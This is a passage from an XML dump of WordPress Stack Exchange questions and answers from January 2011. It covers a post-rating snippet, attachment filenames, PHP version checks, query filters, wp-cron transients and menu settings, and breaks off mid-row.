endif;&#xA;&#xA;    die();&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the HTML for the ratings, simple stuff, no css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_ratings($post_id = false, $disabled = false){&#xA;  $already_voted = isset($_COOKIE[&quot;rated_{$post_id}&quot;]) ? true : false;&#xA;&#xA;  ob_start(); ?&amp;gt;&#xA;  &amp;lt;?php if(!$already_voted &amp;amp;&amp;amp; !$disabled): ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;How would you rate this?&amp;lt;/p&amp;gt;&#xA;  &amp;lt;ul class=&quot;vote-process&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a rel=&quot;&amp;lt;?php echo $post_id; ?&amp;gt;&quot;&amp;gt;bad&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a rel=&quot;&amp;lt;?php echo $post_id; ?&amp;gt;&quot;&amp;gt;meh&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a rel=&quot;&amp;lt;?php echo $post_id; ?&amp;gt;&quot;&amp;gt;good&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;vote-status&quot;&amp;gt;&#xA;    &amp;lt;?php echo get_current_rating($post_id); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;?php&#xA; return ob_get_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JavaScript, included in the page footer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;wp_footer&quot;, &quot;ratings_js&quot;);&#xA;function ratings_js(){ ?&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    /* &amp;lt;![CDATA[ */&#xA;&#xA;    jQuery(document).ready(function($){&#xA;      $(&quot;.vote-process a&quot;).click(function () {&#xA;&#xA;        var id = $(this).attr('rel');&#xA;        var post = $(&quot;#post-&quot;+id);&#xA;        var link = $(this).html();&#xA;&#xA;        $.ajax({&#xA;          type: &quot;GET&quot;,&#xA;          url: &quot;&amp;lt;?php echo home_url('/'); ?&amp;gt;&quot;,&#xA;          data: {&#xA;            post_id: id,&#xA;            vote: link&#xA;          },&#xA;&#xA;          beforeSend: function() {&#xA;            post.find(&quot;.vote-status&quot;).html(&quot;Please wait...&quot;);&#xA;          },&#xA;          success: function(response){&#xA;            post.find(&quot;.vote-status&quot;).html(response);&#xA;            post.find(&quot;.vote-process&quot;).remove();&#xA;          }&#xA;        });&#xA;      });&#xA;&#xA;    });&#xA;    /* ]]&amp;gt; */&#xA;  &amp;lt;/script&amp;gt;&#xA;   &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove the votes_postid option when a post is deleted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('delete_post', 'remove_votes');&#xA;function remove_votes($post_id){&#xA;  delete_option(&quot;votes_{$post_id}&quot;);&#xA;  return $post_id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd still recommend using CDNvote, because the code is very simple and flexible, and uses it's own database table...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-14T19:14:52.220" CommentCount="4" />
  <row Id="6997" PostTypeId="2" ParentId="6982" CreationDate="2011-01-14T19:18:00.347" Score="2" ViewCount="" Body="&lt;p&gt;From what I understand the caption is a shortcode, so wrap get_the_content(...) inside &lt;code&gt;strip_shortcodes()&lt;/code&gt; and it should remove it...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-14T19:18:00.347" />
  <row Id="6998" PostTypeId="1" CreationDate="2011-01-14T19:18:39.067" Score="0" ViewCount="232" Body="&lt;p&gt;I found another post that does almost the exact thing that I'm looking to do: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5750/custom-field-meta-populated-by-dropdown-of-existing-posts&quot;&gt;&quot;Custom field/meta populated by dropdown of existing posts&quot;&lt;/a&gt; (second answer from MikeSchinkel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is the same as that except I took it down to a single drop down list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ISSUE: &#xA;The problem I run into is that for the above example it only pulls and displays the Title of the drop down selection using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;     $promo_boxes = get_little_promo_boxes();&#xA;     if (isset($promo_boxes[1]))&#xA;     echo '&amp;lt;div id=&quot;promo-box1&quot; class=&quot;promo-box&quot;&amp;gt;' . get_the_title($promo_boxes[1]-&amp;gt;ID) . '&amp;lt;/div&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's mainly this part that is pulling the Title of the drop box selection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_the_title($promo_boxes[1]-&amp;gt;ID)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not looking to pull the title from the drop down selection but rather an Image that's inside the same post. I've tried pulling the image from the post thumbnail box, content box and even a custom second thumbnail box (&lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;MultiPostThumbnails&lt;/a&gt;) but cant get it to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give some guidance on getting it to pull and display an Image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full display code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;frontNews&quot;&amp;gt;&#xA;&amp;lt;?php query_posts('showposts=1'); ?&amp;gt;&#xA;    &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;            $promo_boxes = get_little_promo_boxes();&#xA;            if (isset($promo_boxes[1]))&#xA;            echo '&amp;lt;div id=&quot;promo-box1&quot; class=&quot;promo-box&quot;&amp;gt;' . get_the_title($promo_boxes[1]-&amp;gt;ID) . '&amp;lt;/div&amp;gt;';&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php the_time('F j, Y') ?&amp;gt;&#xA;    &amp;lt;?php endwhile; endif ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastEditorUserId="1114" LastEditorDisplayName="" LastEditDate="2011-01-15T15:01:56.797" LastActivityDate="2011-01-15T15:01:56.797" Title="Custom Meta drop down selection image display" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;metabox&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="6999" PostTypeId="1" AcceptedAnswerId="7000" CreationDate="2011-01-14T19:18:40.090" Score="0" ViewCount="261" Body="&lt;p&gt;I'm using a function to display all files attached to a post and listing them as links. The result is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;a href=&quot;' . wp_get_attachment_url($attachmentImage-&amp;gt;ID) . &#xA;          '&quot; class=&quot;dir-attachment&quot; /&amp;gt;' . wp_get_attachment_url($attachmentImage-&amp;gt;ID) . '&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected, this display a hyperlinked version of the hyperlink, but I'd like to clean it up. Is there some way to strip the &lt;a href=&quot;http://mydomain/wp-content/uploads&quot; rel=&quot;nofollow&quot;&gt;http://mydomain/wp-content/uploads&lt;/a&gt; from the second instance display the file name only, rather than the full path?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-01-14T19:34:02.853" Title="Strip the folder path away from wp_get_attachment_url to show filename only" Tags="&lt;attachments&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7000" PostTypeId="2" ParentId="6999" CreationDate="2011-01-14T19:34:02.853" Score="3" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;basename(get_post_meta( $attachmentImage-&amp;gt;ID, '_wp_attached_file', true));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T19:34:02.853" CommentCount="1" />
  <row Id="7001" PostTypeId="1" AcceptedAnswerId="10644" CreationDate="2011-01-14T20:25:25.930" Score="1" ViewCount="100" Body="&lt;p&gt;My plugin is freezing the execution of the page at the point where it calls the functions below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two problems...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How can I recode the function so that if there is an error, the plugin does not stop the page from loading, but rather, returns an error message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How can I feedback what the error might be? Its just freezing but not outputting the error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rseo_get_seo($check, $post){&#xA; //return false;&#xA;    switch ($check)&#xA;    {&#xA;    case &quot;h1&quot;: return rseo_doTheParse('h1', $post);&#xA;    case &quot;h2&quot;: return rseo_doTheParse('h2', $post);&#xA;    case &quot;h3&quot;: return rseo_doTheParse('h3', $post);&#xA;    case &quot;img-alt&quot;: return rseo_doTheParse('img-alt', $post);&#xA;    }&#xA;}&#xA;&#xA;function rseo_doTheParse($heading, $post)&#xA;{&#xA;    $content = $post-&amp;gt;post_content;&#xA;    if($content==&quot;&quot;) return false;&#xA;    $keyword = trim(strtolower(rseo_getKeyword($post)));&#xA;    @$dom = new DOMDocument;&#xA;    @$dom-&amp;gt;loadHTML(strtolower($post-&amp;gt;post_content));&#xA;    $xPath = new DOMXPath(@$dom);&#xA;    switch ($heading)&#xA;        {&#xA;        case &quot;img-alt&quot;: return $xPath-&amp;gt;evaluate('boolean(//img[contains(@alt, &quot;'.$keyword.'&quot;)])');&#xA;        default: return $xPath-&amp;gt;evaluate('boolean(/html/body//'.$heading.'[contains(.,&quot;'.$keyword.'&quot;)])');&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my attempt to change the 2nd function with try catch but I get a fatal error on plugin activation...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rseo_doTheParse($heading, $post){&#xA;try { //I get a FATAL error here. unexpected '{'&#xA;    $content = $post-&amp;gt;post_content;&#xA;    if($content==&quot;&quot;) return false;&#xA;    $keyword = trim(strtolower(rseo_getKeyword($post)));&#xA;    @$dom = new DOMDocument;&#xA;    @$dom-&amp;gt;loadHTML(strtolower($post-&amp;gt;post_content));&#xA;    $xPath = new DOMXPath(@$dom);&#xA;    switch ($heading)&#xA;        {&#xA;        case &quot;img-alt&quot;: return $xPath-&amp;gt;evaluate('boolean(//img[contains(@alt, &quot;'.$keyword.'&quot;)])');&#xA;        default: return $xPath-&amp;gt;evaluate('boolean(/html/body//'.$heading.'[contains(.,&quot;'.$keyword.'&quot;)])');&#xA;        }&#xA;    }&#xA;    catch (Exception $e)&#xA;    {&#xA;        echo 'Exception caught: ',  $e-&amp;gt;getMessage(), &quot;\n&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-14T20:48:19.763" LastActivityDate="2011-02-28T01:01:34.497" Title="How can I gracefully escape an error condition?" Tags="&lt;plugin-development&gt;&lt;errors&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7002" PostTypeId="1" AcceptedAnswerId="7041" CreationDate="2011-01-14T21:25:46.127" Score="1" ViewCount="89" Body="&lt;p&gt;I have a plugin that has a single method that requires PHP5. How can I code around the fact that the server may have PHP4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is below... (I'm thinking its the DOMDocument object that's freezing the plugin when running on a PHP4 server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rseo_doTheParse($heading, $post){&#xA;    $content = $post-&amp;gt;post_content;&#xA;    if($content==&quot;&quot; || is_php4()) return false;&#xA;    $keyword = trim(strtolower(rseo_getKeyword($post)));&#xA;    @$dom = new DOMDocument;&#xA;    @$dom-&amp;gt;loadHTML(strtolower($post-&amp;gt;post_content));&#xA;    $xPath = new DOMXPath(@$dom);&#xA;    switch ($heading)&#xA;        {&#xA;        case &quot;img-alt&quot;: return $xPath-&amp;gt;evaluate('boolean(//img[contains(@alt, &quot;'.$keyword.'&quot;)])');&#xA;        default: return $xPath-&amp;gt;evaluate('boolean(/html/body//'.$heading.'[contains(.,&quot;'.$keyword.'&quot;)])');&#xA;        }&#xA;}&#xA;&#xA;&#xA;function is_php4(){//code here}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-16T02:43:08.167" Title="Does WordPress have a built in reference to the PHP version its running under?" Tags="&lt;php&gt;&lt;errors&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="0" />
  <row Id="7003" PostTypeId="2" ParentId="7002" CreationDate="2011-01-14T21:58:36.083" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://php.net/manual/en/function.phpversion.php&quot; rel=&quot;nofollow&quot;&gt;phpversion();&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-14T21:58:36.083" />
  <row Id="7004" PostTypeId="1" CreationDate="2011-01-14T22:05:13.467" Score="1" ViewCount="273" Body="&lt;p&gt;I use custom permalink structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/%tag%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it is not working. I get url - &lt;a href=&quot;http://mydomain.com/%tag%/post/&quot; rel=&quot;nofollow&quot;&gt;http://mydomain.com/%tag%/post/&lt;/a&gt;. So there is no tag name, just %tag%. If i place %category% instead ot %tag%, everithing is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody solve this problem?&lt;/p&gt;&#xA;" LastActivityDate="2011-06-06T23:18:16.420" Title="%tag% in permalink not working" Tags="&lt;permalinks&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="7005" PostTypeId="2" ParentId="6993" CreationDate="2011-01-14T22:28:16.233" Score="2" ViewCount="" Body="&lt;p&gt;Decide what you want to consider a &quot;similar post&quot;. The simplest approach is to pick out posts that have one or more tags in common with the current post. This should do that (within your loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags_in = array_map( &#xA;    create_function('$tag','return $tag-&amp;gt;term-id;'), &#xA;    get_the_tags() );&#xA;$similar_posts = get_posts( array(&#xA;    'tag__in' =&amp;gt; $tags_in ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, there are much more sophisticated ways to find related posts, mostly involving comparison of post titles, and word analysis of content. Look at the code from &lt;a href=&quot;http://mitcho.com/code/yarpp/&quot; rel=&quot;nofollow&quot;&gt;Yet Another Related Posts plugin&lt;/a&gt; or any &lt;a href=&quot;http://www.mattcutts.com/blog/wordpress-plugin-related-posts/&quot; rel=&quot;nofollow&quot;&gt;other examples&lt;/a&gt;, before you go too deep on your own.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-14T22:28:16.233" />
  <row Id="7006" PostTypeId="2" ParentId="6953" CreationDate="2011-01-14T22:54:47.780" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Edited again to demonstrate adding and removing filters:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include these general functions in your &lt;strong&gt;functions.php&lt;/strong&gt;. These are the filters you will invoke for the loops where you want to limit your query by these two meta values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function date_check_join( $join ) {&#xA;    global $wpdb;&#xA;    $join .= &quot; JOIN &quot;.$wpdb-&amp;gt;postmeta.&quot; AS startdate ON &#xA;        (&quot;.$wpdb-&amp;gt;posts.&quot;.ID = startdate.post_id AND&#xA;        startdate.meta_key = 'start_date')&#xA;        JOIN &quot;.$wpdb-&amp;gt;postmeta.&quot; AS enddate ON &#xA;        (&quot;.$wpdb-&amp;gt;posts.&quot;.ID = enddate.post_id AND&#xA;        enddate.meta_key = 'end_date')&quot;;&#xA;    return $join;&#xA;    }&#xA;&#xA;function date_check_where( $where ) {&#xA;    $today = date('Ymd');&#xA;    $where .= &quot; AND startdate.meta_value &amp;lt;= $today&#xA;    AND enddate.meta_value &amp;gt;= $today&quot;;&#xA;    return $where;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, on the page(s) where you want to include these filters, add them before the loops you want to filter and remove them afterward. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_join', 'date_check_join' );&#xA;add_filter( 'posts_where', 'date_check_where' );&#xA;&#xA;query_posts( &quot;yourqueryhere&quot; );&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;// This loop will only includes where today is between start_date and end_date&#xA;endwhile; endif;&#xA;&#xA;query_posts( &quot;anotherqueryhere&quot; );&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;// This loop also only includes where today is between start_date and end_date&#xA;endwhile; endif;&#xA;&#xA;remove_filter( 'posts_join', 'date_check_join' );&#xA;remove_filter( 'posts_where', 'date_check_where' );&#xA;&#xA;query_posts( &quot;thirdqueryhere&quot; );&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;// This loop is not affected by the filters, so you can query for posts &#xA;// where start_date is in the future, or end_date in the past, etc.&#xA;endwhile; endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just need to add your conditions to the 'posts_join' and 'posts_where' filters before your search, and remove them afterwards (otherwise these conditions will be applied to everything on your site, including pages, menus, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can simplify this by only comparing against one field, then you can use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;meta_compare&lt;/code&gt; attribute&lt;/a&gt; built into the WP_Query object. You could schedule your posts for the start_date (so they don't show ahead of schedule), and then compare the date against the end_date custom field when you query.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-01-20T00:57:20.987" LastActivityDate="2011-01-20T00:57:20.987" CommentCount="10" />
  <row Id="7007" PostTypeId="2" ParentId="6950" CreationDate="2011-01-14T23:00:55.557" Score="3" ViewCount="" Body="&lt;p&gt;Great advice Rarst! The output of $wpdb-&gt;queries was exactly what it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;INSERT INTO `wp_featured_releases` (`fr_band`,`fr_album`,`fr_album_description`,`fr_image_id`,`fr_shop_url`,`fr_modified`) VALUES ('','','','504','','2011-01-14 10:49:58pm')&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;504 is the correct id for the image, but the value in the table is still 127.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My latest thought is that my mysql skills have failed me.  Images with an ID below 127 work fine, but anything above 127 is changed to 127.  The column type that holds fr_image_id is tinyint(9), which should be able to hold any value up to 9999999999 right?  If not, I think I just found my answer.  I'll try changing it and see.&lt;/p&gt;&#xA;" OwnerUserId="2504" LastActivityDate="2011-01-14T23:00:55.557" CommentCount="4" />
  <row Id="7008" PostTypeId="1" AcceptedAnswerId="7016" CreationDate="2011-01-14T23:05:34.670" Score="0" ViewCount="71" Body="&lt;p&gt;Under Appearance &gt; Menus &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to be able to add Categories, Pages, or Custom Links as my menu/sub-menu dropdown items...but I can't add posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have posts in my dropdown (posts of a given category), but I can't seem to do this without writing custom links, which is going to be time-consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way around this?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-01-15T01:53:00.983" Title="Wordpress Menu options in the Admin: Posts for the dropdowns" Tags="&lt;posts&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="7009" PostTypeId="1" CreationDate="2011-01-14T23:15:49.627" Score="2" ViewCount="231" Body="&lt;p&gt;I want to be able to change the amount of post shown on each archive page on a per category basis. Is there something I can change in the loop code or a plugin that gives me that ability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you SE community.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-15T04:09:56.980" Title="Number of post for a WordPress archive page" Tags="&lt;posts&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" />
  <row Id="7010" PostTypeId="1" CreationDate="2011-01-14T23:21:16.920" Score="2" ViewCount="236" Body="&lt;p&gt;I am interested in displaying the top 3 stories in the past week based on the total number of shares on Facebook and Twitter. I have found that these share counts are more useful indications of what is popular in comparison to sorting by the number of comments using &lt;code&gt;'orderby' =&amp;gt; 'comment_count'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: What is the best way to sort posts based on the number of Facebook or Twitter shares? I'm a little concerned about the number of requests to the Facebook and Twitter APIs if I were to check the number of shares for all of the posts in the past week, and then go from there. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2011-05-08T00:08:40.790" Title="Top 3 posts in last week ordered by Facebook and Twitter share counts" Tags="&lt;plugins&gt;&lt;facebook&gt;&lt;twitter&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="7011" PostTypeId="2" ParentId="7009" CreationDate="2011-01-14T23:32:24.470" Score="1" ViewCount="" Body="&lt;p&gt;before the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;query_posts(&quot;{$query_string}&amp;amp;posts_per_page=5&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-14T23:32:24.470" />
  <row Id="7012" PostTypeId="1" AcceptedAnswerId="7042" CreationDate="2011-01-15T00:43:14.990" Score="0" ViewCount="263" Body="&lt;p&gt;I have a Wordpress Network that I am tasked with disabling the WP Cron and replacing it with an Apache Cron.  I have set up a PHP script that when called by an Apache Cron will loop through all sites under the network and make a request to that site's wp-cron.php page, thus executing its cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use Wordpress' transient feature to limit my PHP script as Wordpress limits its own cron.  However, when I dig into the code I see the doing_cron transient is set ( in cron.php #217 ) but never unset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the transient ever unset or does Wordpress wait 60 seconds to fire up the cron again ( in cron.php #200 )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on the doing_cron transient or perhaps another means to throttle my cron script would be appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-01-21T00:56:16.277" LastActivityDate="2011-01-21T00:56:16.277" Title="wp-cron.php - How are WP's Cron transients removed?" Tags="&lt;cron&gt;&lt;transient&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="7013" PostTypeId="2" ParentId="5322" CreationDate="2011-01-15T00:45:52.697" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;User Roll Editor (Wordpress Plugin)&lt;/a&gt; lets you assign permissions to users via an easy toggle box interface. &quot;Read Posts&quot; is an option there, so you should be able to assign that permission to only people logged in under a certain roll. You can set the default log in roll to contributor, for instance, and manage that rolls permissions so they can't post but can read content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for front page login forms, in my opinion the best one out there is &lt;a href=&quot;http://wordpress.org/extend/plugins/simplemodal-login/&quot; rel=&quot;nofollow&quot;&gt;Simple Modal Login (Wordpress Plugin)&lt;/a&gt;, it's very attractive.&lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:52:50.787" LastActivityDate="2011-02-05T17:52:50.787" />
  <row Id="7014" PostTypeId="1" AcceptedAnswerId="7044" CreationDate="2011-01-15T01:15:09.680" Score="2" ViewCount="299" Body="&lt;p&gt;I'm look for a custom SQL query that will let me pull in the latest comments from across a WP multi-site install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result will be identical to a regular recent comments widget, but from all sites within the installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-20T10:09:56.313" Title="List Recent Comments from Across a Multi-site Network" Tags="&lt;multisite&gt;&lt;comments&gt;&lt;network&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="7015" PostTypeId="2" ParentId="6993" CreationDate="2011-01-15T01:23:58.717" Score="1" ViewCount="" Body="&lt;p&gt;Put this in your single.php:&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$tags = wp_get_post_tags($post-&gt;ID);&#xA;if ($tags) {&#xA;$first_tag = $tags[0]-&gt;term_id;&#xA;$args=array(&#xA;'tag__in' =&gt; array($first_tag),&#xA;'post__not_in' =&gt; array($post-&gt;ID),&#xA;'showposts'=&gt;4,&#xA;'caller_get_posts'=&gt;1&#xA;);&#xA;$my_query = new WP_Query($args);&#xA;if( $my_query-&gt;have_posts() ) {&#xA;while ($my_query-&gt;have_posts()) : $my_query-&gt;the_post(); &#xA; // post content stuff here&#xA;endwhile;&#xA;wp_reset_query();&#xA;}&#xA;}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-15T01:23:58.717" />
  <row Id="7016" PostTypeId="2" ParentId="7008" CreationDate="2011-01-15T01:53:00.983" Score="2" ViewCount="" Body="&lt;p&gt;Check the Screen Options dropdown tab at the top right on the menus page. There's a checkbox there to enable posts and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;CW&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2011-01-15T01:53:00.983" CommentCount="1" />
  <row Id="7017" PostTypeId="1" CreationDate="2011-01-15T02:53:11.307" Score="2" ViewCount="143" Body="&lt;p&gt;I've seen wp-snippets.com uses Twitter sign-in which somehow creates a WordPress users with the Twitter credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp-snippets.com &gt; signin with twitter &gt; Oauth &gt; CallbackURL = wp-admin with twitter credentials written to WP user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this achieved? I've searched a lot plugins and cannot see anything that writes twitter user details to the Wordpress database. I expect if any that the Otto's Simple Twitter Connect (STC) might have, but I'vve installed and examined it; I cannot see this feature anyway.&lt;/p&gt;&#xA;" OwnerUserId="1907" LastActivityDate="2011-01-15T17:33:59.203" Title="Create New WordPress User after Twitter Signin, using Twitter credentials?" Tags="&lt;twitter&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7018" PostTypeId="2" ParentId="7002" CreationDate="2011-01-15T02:56:45.780" Score="2" ViewCount="" Body="&lt;p&gt;What exactly is the error you're getting? To find out if a certain function is available to you or not, use function_exists(). &lt;a href=&quot;http://us.php.net/manual/en/function.function-exists.php&quot; rel=&quot;nofollow&quot;&gt;http://us.php.net/manual/en/function.function-exists.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2011-01-15T02:56:45.780" />
  <row Id="7019" PostTypeId="2" ParentId="6941" CreationDate="2011-01-15T03:11:44.373" Score="3" ViewCount="" Body="&lt;p&gt;You Should look at &lt;strong&gt;dukapress&lt;/strong&gt; it a fairly new E-Commerce plugin &#xA;but its loaded with features and it uses Custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and as for the relation part, i had that same challenge as your are having in developing a site for one of my customers, i needed to relate a CPT (custom post type) named &quot;Question&quot;&#xA;to Groups of CTP named &quot;Answer&quot; so i could display all answers of a question in the same page as the question itself and i ended up doing like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for each answer i added a custom field named &quot;Q_ID&quot; an just set its value to the corresponding Question Post type ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;made things real easy as far as using query_posts or a custom WP_Query cant remember and only selecting posts of type &quot;Answer&quot; with Custom Filed named Q_ID that equals to my Question Post Type ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q= array( &#xA;&quot;POST_TYPE&quot;=&amp;gt;'Answer',&#xA;'meta_key' =&amp;gt;'Q_ID', &#xA;'meta_compare' =&amp;gt; '=' &#xA;'meta_value' =&amp;gt; 